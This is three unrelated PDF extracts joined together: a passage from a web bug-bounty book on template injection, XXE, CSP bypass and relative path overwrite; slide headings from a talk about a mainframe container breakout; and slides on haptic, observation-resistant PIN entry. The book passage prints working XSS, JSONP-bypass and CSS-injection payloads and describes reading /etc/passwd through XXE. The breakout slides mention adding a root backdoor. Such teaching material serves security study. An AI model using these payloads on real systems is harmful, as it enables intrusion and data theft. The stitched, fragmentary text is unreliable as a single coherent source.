is inherited by all objects so if we can modify it in one place it will be inherited by
everything else. This can be used to overwrite functions, variables, and anything else.
Although this is a lesser known vulnerability it is just as deadly as anything else. In the
past this has led to XSS, DOS attacks, and RCE so there is no limit to what you can
potentially do with this.
Client Side Template Injection (CSTI)
Introduction
Front end development has rapidly changed over the past decade. Most modern day
web applications are built using javascript frameworks like AngularJS, React, Vue, and
more. According to google “AngularJS is a JavaScript-based open-source front-end web
framework mainly maintained by Google and by a community of individuals and
corporations to address many of the challenges encountered in developing single-page
applications”. Most people think these frameworks are immune to vulnerabilities like
XSS but that is not the case, it's just a little different to exploit.
Angular Basics
There are a few things you need to understand when dealing with Angular applications.
I will briefly go over a few topics such as templates, expressions, and scopes which is
vital for understanding client side template injection in Angular.
When you are looking at an Angular application in your browser you're actually looking
at a template. A template is an HTML snippet that tells Angular how to render the
component in Angular application. The main advantage of templates is that you can
pass in data allowing you to dynamically generate HTML code based on the arguments
passed to it. An example template can be found below:
●
<h1>Welcome {{Username}}!</h1>
As you can see the following template creates an “h1” tag which welcomes the current
user. The “{{Username}}” is an expression and changes based on your username. If my
username is “ghostlulz” then the application would display “Welcome ghostlulz!”. This
allows Angular to dynamically generate HTML pages instead of using static pages as
shown below:
●
<h1> Welcome ghostlulz!</h1>
Expressions are Javascript like code snippets . Like Javascript expressions Angular
expressions can contain literals, operators, and variables as shown below:
●
1+1
●
A+b
●
User.name
●
Items[index]
Unlike Javascript expressions which are evaluated against the global window, Angular
expressions are evaluated against the Scope object. Basically what this means is if you
try to evaluate “alert(1)” it will fail because the scope does not have an “alert” function
(unless you define one). The scope is just an object and you can define variables and
functions in it as shown below:
$scope.username = "Ghostlulz";
$scope.greetings = function() {
return 'Welcome ' + $scope.username + '!';
};
Client Side Template Injection (XSS)
According to Google “Client-side template injection vulnerabilities arise when
applications using a client-side template framework dynamically embed user input in
web pages”. As you know Angular is a client side template framework and you can
embed user input into these templates. This makes Angular the perfect target for this
type of vulnerability.
If you don’t know better and you’r testing for XSS on an Angular site you might try
something like this:
Ass you can see I didn’t get an alert box and that's because the server is encoding our
input before passing it to the template as shown below.
This is a very popular method of preventing XSS and is sufficient enough for most
applications but Angular is different. In Angular we can use expressions which does not
have to use special characters which get encoded by the “htmlspecialchars” PHP
function as shown below:
As you can see above I am using the expression “{{1+1}}” which gets evaluated to “2”.
This is a very strong indicator that the application is vulnerable to client side template
injection.
Forcing an application to add two numbers together isn’t all that exciting, but what if we
could inject javascript code. We know we can't simply insert an “alert(1)” function
because that function is not defined in the scope object. Behind the scenes “alert(1)”
turns into “$scope.alert(1)”. By default the scope object contains another object called
“constructor” which contains a function also called “constructor“. This function can be
used to dynamically generate and execute code. This is exactly what we need to
execute our XSS payload as shown below:
●
{{constructor.constructor('alert(1)')()}}
As you can see above our malicious Angular expression was injected into the page
causing the application to dynamically generate and execute our payload.
To help prevent this type of attack Angular 1.2 – 1.5 contains a sandbox. This was later
removed in version 1.6 and above as it provided no real security as there were
numerous sandbox bypasses. If the application your testing is between versions 1.2 –
1.5 you will need to look up the sandbox bypass for that version to get your XSS
payload to execute.
Summary
With new technologies comes new vulnerabilities. Any client side template framework
that accepts user input can be vulnerable to client side template injection. This
vulnerability is mostly used to trigger XSS payloads. Since angular uses expressions we
can often bypass traditional XSS preventions such as encoding the user's input. Most
developers rely heavily on this prevention method which works fine in most applications
just not ones that make use of client side templates and expressions.
XML External Entity (XXE)
Introduction
XML External Entity(XXE) is a vulnerability that can appear when an application parses
XML. Before diving into what XXE is you need to have a solid understanding of XML
first.
XXE Basics
Extensible Markup Language(XML) is a language designed to store and transport data
similar to JSON. A sample of what XML looks like can be found below:
<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
<book category="cooking">
<title lang="en">Everyday Italian</title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
<book category="children">
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
</bookstore>
On the first line you can see the prolog which contains the XML version and encoding.
Pro tip if you ever see this in burp you should immediately test for XXE:
●
<?xml version="1.0" encoding="UTF-8"?>
Under that you see the “<bookstore>” tag which represents the root node. There are
two child nodes called “<book>” and each of these contain subchild nodes called
“<title>,<author>,<year>,<price>”.
<root>
<child>
<subchild>.....</subchild>
</child>
</root>
That's the basic structure of XML but there is a little more you should know. There is
something called document type definition (DTD) which defines the structure and the
legal elements and attributes of an XML document as shown below:
<?xml version="1.0"?>
<!DOCTYPE note [ <!ENTITY user "Ghostlulz">
<!ENTITY message "got em"> ]>
<test><name>&user;</name></test>
As shown above there is something called an ENTITY. This acts as a variable. In this
example the entity “user” holds the text “Ghostlulz”. This entity can be called by typing
“&user;” and it will be replaced by the text “Ghostlulz”.
You can also use something called an external entity which will load its data from an
external source. This can be used to get contents from a url or a file on disk as shown
below:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://example.com" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
XML External Entity(XXE) Attack
I mentioned that you can use external entities to grab data from a file on disk and store
it in a variable. What if we tried to read data from the “/etc/passwd” file and store it in a
variable? Note that in order to read the data the entity must be returned in the response.
Knowing that lets try to exploit our test environment.
While in burp I captured the following POST request which seems to be using XML to
send data to the back end system. Whenever you see XML you should test for XXE.
To test for XXE simply put in your malicious external entity and replace each node value
with it as shown below:
As shown above I created an external entity to grab the data in the /etc/passwd file and
stored it in the entity xxe. I then placed the variable in the <productID> node. If the
server does not block external entities the response will be reflected to you.
You will then be able to retrieve the contents of the /etc/passwd file as shown above.
Summary
Most applications transmit data using JSON but you may run into applications using
XML. When you do make sure to always test for XXE. Abusing this vulnerability allows
you to read arbitrary files which can lead to fully compromising a machine.
CSP Bypass
Introduction
The content security policy (CSP) is a special HTTP header used to mitigate certain
types of attacks such as cross site scripting (XSS). Some engineers think the CSP is a
magic bullet against vulnerabilities like XSS but if set up improperly you could introduce
misconfigurations which could allow attackers to completely bypass the CSP.
Content Security Policy (CSP) Basics
The CSP header is fairly straightforward and there are only a few things you need to
understand. First, the CSP header value is made up of directives separated with a
semicolon “;” . You can think of these directives as policies which are applied to your
site. A list of these directives can be found below, note these are not all of them but the
most popular ones:
●
Default-src
○
This acts as a catchall for everything else.
●
Script-src
○
Describes where we can load javascript files from
●
Style-src
○
Describes where we can load stylesheets from
●
Img-src
○
Describes where we can load images from
●
Connect-src
○
Applies to AJAX and Websockets
●
Font-src
○
Describes where we can load fonts from
●
Object-src
○
Describes where we can load objects from (<embed>)
●
Media-src
○
Describes where we can load audio and video files from
●
frame-ancestors
○
Describes which sites can load this site in an iframe
These directives are set to specific values which defines which resources can be loaded
and from where. This source list can be found below:
●
*
○
Load resources from anywhere
●
‘none’
○
Block everything
●
‘Self’
○
Can only load resources from same origin
●
Data:
○
Can only load resources from data schema (Base64)
●
Something.example.com
○
Can only load resources from specified domain
●
Https:
○
Can only load resources over HTTPS
●
‘Unsafe-inline’
○
Allows inline elements (onclick,<script></script> tags, javascript:,)
●
‘Unsafe-eval’
○
Allows dynamic code evaluation (eval() function)
●
‘Sha256-‘
○
Can only load resources if it matches the hash
●
‘Nonce-‘
○
Allows an inline script or CSS to execute if the script tag contains a nonce
attribute matching the nonce specified in the CSP header.
Now that you know about the structure of a CSP header let's look at an example. As
shown below you can see that the CSP is returned in the HTTP response header.
●
default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self'
uploads.github.com www.githubstatus.com collector.githubapp.com
api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com
github-production-repository-file-5c1aeb.s3.amazonaws.com
github-production-upload-manifest-file-7fdce7.s3.amazonaws.com
github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com;
font-src github.githubassets.com; form-action 'self' github.com gist.github.com;
frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self'
data: github.githubassets.com identicons.github.com collector.githubapp.com
github-cloud.s3.amazonaws.com *.githubusercontent.com
customer-stories-feed.github.com spotlights-feed.github.com; manifest-src 'self';
media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline'
github.githubassets.com
The first thing we see is: default-src ‘none’; . Basically this says block everything unless
told otherwise. I also see: frame-ancestors ‘none’; . This policy will block other sites
from loading this site in an iframe, this kills the clickjacking vulnerability. We also see:
script-src github.githubassets.com; . This policy makes it so the site can only load
javascript files from github.githubassets.com, basically killing XSS unless we can find a
bypass in that site. There are other policies defined as well go see what they are doing.
Basic CSP Bypass
There are quite a few ways to mess up your implementation of CSP. One of the easiest
ways to misconfigure the CSP is to use dangerous values when setting policies. For
example suppose you have the following CSP header:
●
default-src 'self' *
As you know the default-src policy acts as a catch all policy. You also know that * acts
as a wild card. So this policy is basically saying allow any resources to be loaded. It's
the same thing as not having a CSP header! You should always look out for wildcard
permissions.
Let's look at another CSP header:
●
script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com
http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/
https://accounts.google.com ;
Here we have the policy script-src which we know is used to define where we can load
javascript files from. Normally things like <IMG SRC=”javascript:alert(‘XSS’);”> would be
blocked but due to the value ‘unsafe-inline’ this will execute. This is something you
always want to look out for as it is very handy as an attacker.
You can also see the value data: this will allow you to load javascript if you have the
data: element as shown below: <iframe/src=”data:text/html,<svg onload=alert(1)>”>.
So far all of the techniques used to bypass CSP have been due to some
misconfiguration or abusing legitimate features of CSP. There are also a few other
techniques which can be used to bypass the CSP.
JSONP CSP Bypass
If you don’t know what JSONP is you might want to go look at a few tutorials on that
topic but i'll give you a brief overview. JSONP is a way to bypass the same object policy
(SOP). A JSONP endpoint lets you insert a javascript payload , normally in a GET
parameter called “callback” and the endpoint will then return your payload back to you
with the content type of JSON allowing it to bypass the SOP. Basically we can use the
JSONP endpoint to serve up our javascript payload. You can find an example below:
●
https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)
As you can see above we have our alert function being displayed on the page.
The danger comes in when a CSP header has one of these endpoints whitelisted in the
script-src policy. This would mean we could load our malicious javascript via the JSONP
endpoint bypassing the CSP policy. Look at the following CSP header:
●
script-src https://www.google.com http://www.google-analytics.com/gtm/js
https://*.gstatic.com/feedback/ https://accounts.google.com ;
The following would get blocked by the CSP:
●
http://something.example.com/?vuln_param=javascript:alert(1) ;
What if we tried the following:
●
http://something.example.com/?vuln_param=https://accounts.google.com/o/oauth2/revo
ke?callback=alert(1337)
This would pass because accounts.google.com is allowed to load javascript files
according to the CSP header. We then abuse the JSONP feature to load our malicious
javascript.
CSP Injection Bypass
The third type of CSP bypass is called CSP injection. This occurs when user supplied
input is reflected in the CSP header. Suppose you have the following url:
●
http://example.com/?vuln=something_vuln_csp
If your input is reflected in the CSP header you should have something like this:
script-src something_vuln_csp;
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
report-uri https://csp.example.com ;
This means we can control what value the script-src value is set to. We can easily
bypass the CSP by setting this value to a domain we control.
Summary
The CSP is a header used to control where an application can load its resources from.
This is often used to mitigate vulnerabilities such as XSS and clickjacking but if set up
improperly it can be easy to bypass. Looking for things such as CSP injection or a
vulnerable JSONP endpoint can be an easy way to bypass the CSP header. If the CSP
was improperly set up you could use the CSP functionality against itself to bypass the
CSP. For example the use of ‘inline-scripts’ and wild cards is always dangerous when
applied to the script-src policy.
Relative Path Overwrite (RPO)
Introduction
Relative path overwrite(RPO) is an older lesser known vulnerability which impacts a
decent number of applications. You can sometimes use the vulnerability for XSS or
extracting sensitive data but the vast majority of the cases can only be exploited for web
defacement. This vulnerability is normally classified as a low severity finding but I still
find it interesting as very few people know how to exploit this bug so there are good
chances it will be missed in the wild.
RPO
Before you can exploit RPO a few things must happen. First you need to find a page
that reflects the current url, path, or referrer header in the response. Secondly you need
the page to be missing the “DOCTYPE” tag to enable quirks mode. Third, you need the
endpoint to have a wild card path so “example.com/vuln.php” is the same as
“example.com/vuln.php/somthing/”. Finally you need to find if there are any style sheets
being imported using a relative path. If all these requirements are met you can probably
exploit the RPO vulnerability.
To understand RPO you first thing you need to learn about is how browsers use path
relative links to load content.
●
<link href="http://example.com/style.css" rel="stylesheet" type="text/css"/>
●
<link href="/style.css" rel="stylesheet" type="text/css"/>
●
<link href="style.css" rel="stylesheet" type="text/css"/>
As you can see above there are a few ways an application can load the CSS file
“style.css”. The first example uses an absolute link which is the full path to the CSS file.
The second example starts at the root of the web directory and looks for the “style.css”
file there. Finally the last example uses a relative path so it will look at the current
directory for the “style.css” file, if the url is “example.com/test/” it will look for the CSS
file at “/test/style.css”.
You also need to know a little about “Quirks Mode”. Quirks mode was designed to
gracefully handle the poorly coded websites which was fairly common back in the day. If
quirks mode is enabled the browser will ignore the “content-type” of a file when
processing it. So if we pass an HTML file to a link tag it will still parse the HTML file as if
it's a CSS file. If Quirks mode is disabled the browser would block this action.
Now that you have the prerequisite knowledge it's time to get to the actual exploit. First
examine the vulnerable code below:
First we need to figure out if the application reflects the path in the HTML source. Look
at the above image we can clearly see the “path” variable is concatenated with the
output but normally you don't have access to the source so you will need to manually
verify this as shown below:
Above you can clearly see the “okay/” path displayed on the page. We can also see the
“document type” tag is missing from the HTML source so we know the page is running
in quirks mode. Next we need to figure out if “/home/okay/” resolves to the same page
as “/home” which it does.
As shown above when we change the URL to “/home/okay/” the “Link” tag tries to
import its stylesheet from “/home/okay.style.css” this is because the Link tag is using a
relative path. Also notice how the style sheet resolves to the same HTML source as
“/home”. This is because there is a wild card path after “/home” which causes any path
after “/home” to resolve to “/home”.
Also note that the response does not contain a “document type” tag so the browser has
“quirk mode” enabled. If it did contain a “document type” tag this mode would be
disabled and the browser would throw an error when it goes to parse the CSS file
because it will contain a “text/html” content type as shown below:
Lucky for us the document type is not included in the HTML so we can continue with the
attack. The last step is to actually launch the exploit to see if it works. Since the Link tag
is accepting the HTML output as CSS and user controlled input is reflected in that
output an attacker could inject CSS commands causing the page to execute them.
●
%0A{}*{color:red;}///
As you can see above we injected CSS code to turn the font red so we now know the
target is vulnerable.
Summary
Relative path overwrite is an older lesser known vulnerability that still impacts many
applications. This may be considered a low severity finding but it can still be used to
perform web defacements. I normally don't hunt for this vulnerability but if I can't find
anything else i'll give this one a shot, it never hurts to try.
Conclusion
Now you have a few more tricks up your sleeve. However, there are plenty of other
techniques out there and I would recommend learning additional vulnerabilities. The
more vulnerabilities you know how to exploit the better chances you have of finding a
vulnerability in an application.
Wrap Up
The first book walked you through the recon & findingerprinting phase while this book
talked about the beginning stages of the exploitation phase. If you have read both you
might be thinking that you are an OG hacker now but that is not the truth. At this point in
the game you would be considered an upper level beginner or a lower intermediate
skilled hacker. There is so much more to cover! The exploitation phase is so vast that it
will require another book or two before it is fully finished. There are also additional
things in the recon & fingerprinting phase that weren't covered in the first book so there
will probably need to be another book continuing that phase as well.
With that being said you still deserved a pat on the back. With the knowledge gained
from the first and second book you have a complete picture of the recon, fingerprinting,
and exploitation phase of a hunt. Although the techniques learned would still be
considered relatively basic you can still use them to compromise the vast majority of
your targets. Fortune 500 companies, start ups, and everything in between it doesn't
matter who your target is these techniques can be used to compromise them all the
same. | pdf |
The Real-Life Story of the First Mainframe Container Breakout
CROSSOVER EPISODE
@IanColdwater
@bigendiansmalls
• Ian is a leading expert on containers and
container security.
• Chad is the same, but for mainframes and
mainframe security.
MINNESNOWTA
@IanColdwater
@bigendiansmalls
DEEP MAGIC
@IanColdwater
@bigendiansmalls
HOW IT ALL BEGAN
@IanColdwater
@bigendiansmalls
LATER THAT WEEK
@IanColdwater
@bigendiansmalls
COMMON THREADS
@IanColdwater
@bigendiansmalls
WINTER PROJECT
@IanColdwater
@bigendiansmalls
THE LIMIT DOES EXIST
@IanColdwater
@bigendiansmalls
FORMAL STATEMENT FROM IBM
@IanColdwater
@bigendiansmalls
CONTAINERS ON A MAINFRAME?!
“Containers?
On my mainframe?”
THIS IS A MAINFRAME
@IanColdwater
@bigendiansmalls
THIS IS ALSO A MAINFRAME
@IanColdwater
@bigendiansmalls
ZCX ARCHITECTURE
@IanColdwater
@bigendiansmalls
WHAT IS A CONTAINER?
@IanColdwater
@bigendiansmalls
HOW DID WE BREAK IT?
@IanColdwater
@bigendiansmalls
ASSEMBLING LAYERS
@IanColdwater
@bigendiansmalls
SPACE CAMP
@IanColdwater
@bigendiansmalls
GETTING TRAINED UP
@IanColdwater
@bigendiansmalls
https://evilmainframe.com
GETTING TRAINED UP
@IanColdwater
@bigendiansmalls
https://securekubernetes.com
TAKING OFF
@IanColdwater
@bigendiansmalls
ZCX PROVISIONING
@IanColdwater
@bigendiansmalls
FIRST LOOK
@IanColdwater
@bigendiansmalls
EXOTIC HACKER TOOLS
@IanColdwater
@bigendiansmalls
JOB LOG
@IanColdwater
@bigendiansmalls
VISIBILITY CLOAK
@IanColdwater
@bigendiansmalls
PATCHING THE BINARY
@IanColdwater
@bigendiansmalls
ECHO PRIVATEKEY.PEM
@IanColdwater
@bigendiansmalls
OPE, KEY IN THE LOGS
@IanColdwater
@bigendiansmalls
CONTAINER SETUP
@IanColdwater
@bigendiansmalls
WARNING LABEL
@IanColdwater
@bigendiansmalls
DOCKER IN DOCKER
@IanColdwater
@bigendiansmalls
ZCX DOCKER OUT OF DOCKER
@IanColdwater
@bigendiansmalls
ZCXAUTHPLUGIN ERRORS
@IanColdwater
@bigendiansmalls
CLI RESTRICTIONS
@IanColdwater
@bigendiansmalls
🦋 IS THIS PATTERN MATCHING?
@IanColdwater
@bigendiansmalls
CONTAINERS ARE HARD
@IanColdwater
@bigendiansmalls
BIND MOUNT RESTRICTIONS
@IanColdwater
@bigendiansmalls
DOCKER.SOCK
@IanColdwater
@bigendiansmalls
DOCKER ENGINE API
@IanColdwater
@bigendiansmalls
DEMO - MAKING CALLS
@IanColdwater
@bigendiansmalls
FIX THE COBOL!
@IanColdwater
@bigendiansmalls
BOOTING ZCX
@IanColdwater
@bigendiansmalls
BUT WHAT IS IT … REALLY?
@IanColdwater
@bigendiansmalls
CONTAINER SECURITY MODEL
APF SECURITY MODEL
@IanColdwater
@bigendiansmalls
WORLDS COLLIDING
@IanColdwater
@bigendiansmalls
PASSING THE BALL
@IanColdwater
@bigendiansmalls
WHAT ARE THESE ERRORS?
@IanColdwater
@bigendiansmalls
WTF SYSTEMD
@IanColdwater
@bigendiansmalls
THE SYSCALLS ARE COMING FROM INSIDE THE HOUSE
@IanColdwater
@bigendiansmalls
EXITS ON MAINFRAMES
@IanColdwater
@bigendiansmalls
WHY IS THIS BINARY SO BIG?
@IanColdwater
@bigendiansmalls
GOLANG BINARIES ARE THICC
@IanColdwater
@bigendiansmalls
BUILDING A
MOON LAB
• Improved bind mounts
• Disabled zcxauthplugin service
• Removed zcxauthplugin
references from systemd
• Disabled userns remapping
• Added root backdoor
• Fixed sudoers file
@IanColdwater
@bigendiansmalls
WHAT’S NEXT
@IanColdwater
@bigendiansmalls
ZCXAUTHPLUGIN
@IanColdwater
@bigendiansmalls
CROSS MEMORY
@IanColdwater
@bigendiansmalls
DEMO - SHARED MEMORY
@IanColdwater
@bigendiansmalls
CLOSING REMARKS
@IanColdwater
@bigendiansmalls
REFERENCES
• Getting Started with zCX
• zCX docs
• z/OS Overview
• z/OS Security book
• Container Security book
• Container Operator's Manual
• The dangers of docker.sock
• A Compendium of Container
Escapes
• github.com/kelseyhightower/
nocode - the best way to write
secure and reliable applications!
@IanColdwater
@bigendiansmalls | pdf |
Vanquishing Voyeurs:
Secure Ways to
Authenticate Insecurely
Andrea Bianchi & Zoz
ANDREA
BIANCHI
ZOZ
Overview
•
Password/PIN Features & Observation Attacks
•
Observation from Without
•
Physical Key Entry at Insecure Terminal
•
Mechanical Observation-Resistant Solutions
•
Observation from Within
•
Key Protection between Insecure Input Device and Network
•
Recorder/Logger Subversion
•
Rethinking Password Entry Mechanics
•
Remote Entry with Secure Transmission to Terminal
•
Utilization of Common Mobile Digital Devices
PASSWORD
TOKEN
BIOMETRIC
AUTHENTICATION METHODS
alphanumerical
graphical
haptic
...
keys
RFID
security cards
...
fingerprints
retina scanner
voice
vein scanners
...
NEED FOR PASSWORDS
PASSWORDS
PASSWORDS
TOKENS
TOKENS
BIOMETRICS
BIOMETRICS
+
-
+
-
+
-
Common
Delegation
Cheap
Invisible
information
Observation
Memory (scaling,
cognitive load)
Common
Delegation
Cheap
Physical
Property:
can be stolen,
lost, copied,
deteriorated
Can be easily
accepted by
people [Coventry
2003]
No cognitive
load
Physical
Property:
can be observed,
copied,
deteriorated
Technology not
ready yet
Philosophical
issues concerning
identification
No
delegation
NEED FOR PASSWORDS
INVISIBLE
INFORMATION
+
DELEGATION
HIGH
COGNITIVE LOAD
Passwords are still valuable compared to other options, and this is
why they are the most common in security systems.
However their cognitive load is ultimately caused by their weakness
against observation.
THE PROBLEM
WITH PASSWORDS
Passwords are subjected to observation
> need to have many passwords and change them frequently
> high cognitive load
OBSERVATION ATTACKS
HUMAN
INTERFACE
EXTERNAL
HUMAN
INTERFACE
INTERNAL
NETWORK
e.g.:
•Shoulder Surfing
•Mirrors/Cameras
•Keypad Dusting
e.g.:
•ATM Skimmers
•Keyloggers
e.g.:
•Sniffing
•MITM
ENCRYPT
SECURE PRIVATE INTERFACE
WHAT ABOUT WHEN WE HAVE TO USE PUBLIC TERMINALS?
PUBLIC TERMINALS
ATMs
Airport kiosks
Door locks
Public computers
Access control
PIN ENTRY TERMINALS
What about bank ATM (Automatic Teller Machine) terminals?
... there was only the human bank teller
Once upon a time...
PIN ENTRY TERMINALS
What about bank ATM terminals?
1967: The 'Barclaycash' cash dispenser
(1st cash dispenser, Barclays Bank)
The human bank teller
PIN ENTRY TERMINALS
The terminal was public to grant access 24 hours a day
1973- The future tellers
PIN ENTRY TERMINALS
The terminal was public to grant access 24 hours a day
and even remotely!
The future tellers (1973) and PAT (2010)
INTERACTION HISTORY
Interaction history
In the past 40 years, the ATM terminals substantially did not change.
The interaction with the terminals did not change as well.
Observation is still one of the most common attacks!
SIMILAR?
Ideo for BBVA
card
cash
input and visual
SIMILAR INTERFACES
SIMILAR?
THE INTERACTION
Ideo for BBVA
=
ATM in 1973
THE INTERACTION
(SECURITY PERSPECTIVE)
hence easily attackable (i.e. shoulder surfing and camera attack)
The interaction is physically situated
PUBLIC THREAT
1. Public terminals dangerous (DeLuca 2010 and Gizmodo)
Skimming a terminal
PUBLIC THREAT
1. Public terminals dangerous
Camera, Observation, Tamper
PINS IN PREVIOUS WORK
Different people want different password schemes or input methods
PIN Entry by trapdoor game (Roth et al.)
Spy-resistant Keyboard (Tan et al.)
Haptic Passwords by Malek and Sasamoto
Gaze-Based Password (Kumar et al.)
PINS IN THE REAL WORLD
Despite all these new methods we still rely on keypads!
BASIC CONSIDERATIONS
We need to access public terminals, but it does not mean that
and the interaction must be done at the terminal
INTERACTING
AT THE TERMINAL
IS DANGEROUS
the interaction must be the same for all of us
DIFFERENT PASSWORDS
FOR DIFFERENT PEOPLE AND
DIFFERENT SITUATIONS
ONLINE INTERFACE
SECURITY IS ONLY A
MINIMUM STANDARD
the interaction must be limited to the default interface
STRATEGY SHIFT
PIN
Before
After
PIN
CHOICE
MEDIATED INPUT
Private
Device
or
Software
STRATEGY SHIFT
An alternative strategy is to decouple interaction in two parts:
we separate the input method for a PIN from the communication
of the password to a terminal.
CHOICE
CHOICE
MEDIATED INPUT
THE ENEMY WITHOUT:
PROTECTED PHYSICAL KEY ENTRY METHODS
FOR UNTRUSTED ENVIRONMENTS
PART 1
CHOICE
CHOICE
A Tactile Password System
The Secure Haptic Keypad
Bianchi, A., Oakley, I., Kwon, D.S., The Secure Haptic Keypad: Design and Evaluation of a Tactile Password System.
In CHI 2010, ACM, New York, NY, pp. 1089-1092.
The Problem: Observation Attack
Authentication in public spaces is common
ATMs, entry door systems, quick flight check-in kiosks, etc...
Stolen PINs pose a significant risk to many systems
U.S. estimated yearly bank fraud amount s $60M
Motivations
Observation attack: “Shoulder-surfing” or “Camera-attack”
Related Work
Related Work
1. Visual Obfuscation
2. Eye Tracking
3. Personal Interfaces
4: Haptic Obfuscation
Related Work
Multimodal systems: password information (i.e. textual and
graphical passwords) can be obfuscated using haptics, as an
invisible channel.
Relies on a cognitive transformation/mapping.
Haptic-based Graphical Password (Malek et al.)
Undercover (Sasamoto et al.)
The idea: Haptic Password
A sequence of tactile cues (tactons),
inherently invisible to everyone.
Haptic password
System
Password Model
Passwords in the system take the form of a sequence of tactile
feedback in the forms of vibrations (from a set of 3 possibilities)
System
Example of Haptic Password made of 3 tactons
1 Hz
2 Hz
Continuous
Our 3 Tactons
Haptic Keypad Overview
System
Keypad constructed of three physically independent buttons each
capable of (1)sensing finger input and (2)rendering vibrotactile cues in
the form of tactons and (3)accepting input selection.
Haptic Keys
System
Three identical hardware:
(1) force sensing resistor (FSR) adjust the strength of the vibrotactile output
(2) linear coil vibrotactile actuators within the casing
(3) physical switches for key selection
The Password Software
System
1. AVR micro-controller handles sensing, rendering and input.
2. The Haptic Keypad is connected to a computer via serial port.
3. Minimal GUI represents only completion progress
Interaction Model
System
Rules:
3 tactons are assigned to 3 keys (1<->1 correspondence)
Tactons are randomized on keys after each entry.
Match input with password
System Randomize
key-tacton assignment
User feels the keys and finds
the only right tacton
User selects the tacton
clicking the key
Example of Interaction
System
Password To match
With no interaction
keys are silent
System Randomize
User feels the keys
User selects
System
Password To match
Press the FSRs to
“feel” the tactons
Example of Interaction
System Randomize
User feels the keys
User selects
System
Password To match
The “strength” of the
tacton depends of the
pressure applied
Example of Interaction
System Randomize
User feels the keys
User selects
System
Password To match
Click the button to
apply selection
Example of Interaction
System Randomize
User feels the keys
User selects
System
Password To match
The tactons are randomly
re-assigned to the keys
Example of Interaction
System Randomize
User feels the keys
User selects
System
Password To match
Next Input
Keep going on
until done.
Example of Interaction
System Randomize
User feels the keys
User selects
System
Password to Match
Case 1: User Input
Case 2: User Input
AUTHENTICATION SUCCESSFUL
AUTHENTICATION NOT SUCCESSFUL
Example of Interaction
Security Objective
System
p(brute-force attack) = p(observation attack)
p(attack) =
resilience to observation and brute-force attacks.
Security Standard:
4 digit numerical
password
p(attack)= 1/10000
Evaluation: 2 studies
Evaluation
To gauge our interface we conducted 2 experiments
Pilot Study
Test tactons recognition rate
Evaluate if tactons are
perceptually distinct
User Study
Evaluation of 3 software
interfaces with the same
hardware (Haptic Keypad)
Compare extreme
authentication schemes to
obtain some insight.
Experiments Design
Evaluation
Pilot Study
• Tacton recognition rates and
times
• 4 participants
• Simplified version of the
hardware
• 15 practice trial + 60 test
trials (20 of each cue)
User Study
Experiments Design
Evaluation
Pilot Study
•3 experimental conditions (3
software prototypes)
•12 participants volunteered
(mean age 29y)
•Fully balanced repeated
measures. Given random
passwords.
•10 trials x 12 subjects x 3
conditions = 360 PIN entry (2520
selection events)
• Tacton recognition rates and
times
• 4 participants
• Simplified version of the
hardware
• 15 practice trial + 60 test
trials (20 of each cue)
• Result 1: no errors.
• Result 2: average selection
time was 2.5s (SD 0.57s)
Evaluation
3 Conditions, 3 Software Prototypes
PIN
TACTONS
P(attack)
Safe?
6
3
1 / 729
NO
9
3
1 / 19863
YES
Normal Mode
Trade off
“password length-performance”
System Randomize
User feels the keys
User selects
Evaluation
3 Conditions, 3 Software Prototypes
PIN
TACTONS
P(attack)
Safe?
6
3
1 / 11941
Only to
Observation
Hybrid Mode
Trade off
“complexity-performance”
System Randomize
User feels the keys
User selects
OR
weighted 55% of cases
System Randomize
User feels the keys
User selects
all the WRONG
tactons (complement)
Results
Median task completion time
Medians were used to minimize the effect of outliers.
ANOVA and post-hoc pair-wise
t-tests significants.
1. Experiment Results: Authentication Time
Median Authentication Time (s)
6 pin
9 pin
Hybrid
2. Experiment Results: Errors
Results
Mean number of Errors
per Authentication Session
An ANOVA not significant
(perhaps due to high variance)
Figure 3 Task times & error rates from authentication study
Median Failed Authentications (%)
6 pin
9 pin
Hybrid
2. Experiment Results: NASA TLX
Results
ANOVA on overall workload (Nasa TLX) significant involving the
Hybrid condition.
Figure 4. TLX data from authentication study.
Discussion
Results
Type
Performance
Security
Comments
6 PIN
Fast Time / Low Error
3.7s per selection
(2.5s in Pilot
study: 3.7 < 2.5*3)
Low
User as reference value
9 PIN
Fast Time / Low Error
3.7s per selection
Safe
•Users didn’t find more
challenging entering
additional PINs
•(linear proportion
with 6 pin: 1.5 ratio
between password
length and time)
•PIN relatively easy to
remember
HYBRID
Slow Time / High Error
6.5s per selection
Observation Safe
High cognitive load
(overhead)
Comparison with Previous Systems
Results
Data From Undercover
6 PIN
9 PIN
HYBRID
UNDERCOVER
(CHI 08)
Time (s)
22.2
33.8
39.5
39 - 49 (avg)
Errors
9.2%
6.7%
15%
26%
•Go for unimodal !
•Simplicity of a pure recognition process:
feel -> recognize -> select
Contributions
Results
•Introducing the Haptic Password model
•Introducing one possible interface and method (Haptic
Keypad) to use a Haptic Password
•Preliminary user tests suggests that Haptic Password is a
better alternative to Haptic Obfuscation
•Unimodal
•Simple cognitive task such as recognition
Audio and Haptic Shoulder-Surfing Resistant
PIN Entry Methods for Mobile Devices
The Phone Lock
Bianchi, A., Oakley, I., Lee, J., Kwon, D. The haptic wheel: design & evaluation of a tactile password system.
In Proceedings of CHI 2010, ACM, New York, NY, pp. 3625-3630.
Bianchi, A., Oakley, I., Kostakos, V., Kwon, D., The Phone Lock: Audio and Haptic shoulder-surfing resistant PIN entry
methods.
In Proc. of ACM TEI’11, ACM, New York, pp. 197-200.
Shift in computing, shift in interaction
From private user to collaborative
Motivations
From fixed to mobile
Observation: The New Old threat
Motivations
Observation remains one of the most simple and common way to steal a PIN.
Large screens + public spaces =
Two Objectives
Motivations
Introducing a new PIN entry system for mobile
devices resistant against observation.
1
Non-visual PIN and its role in
tangible and ubiquitous interfaces
VS
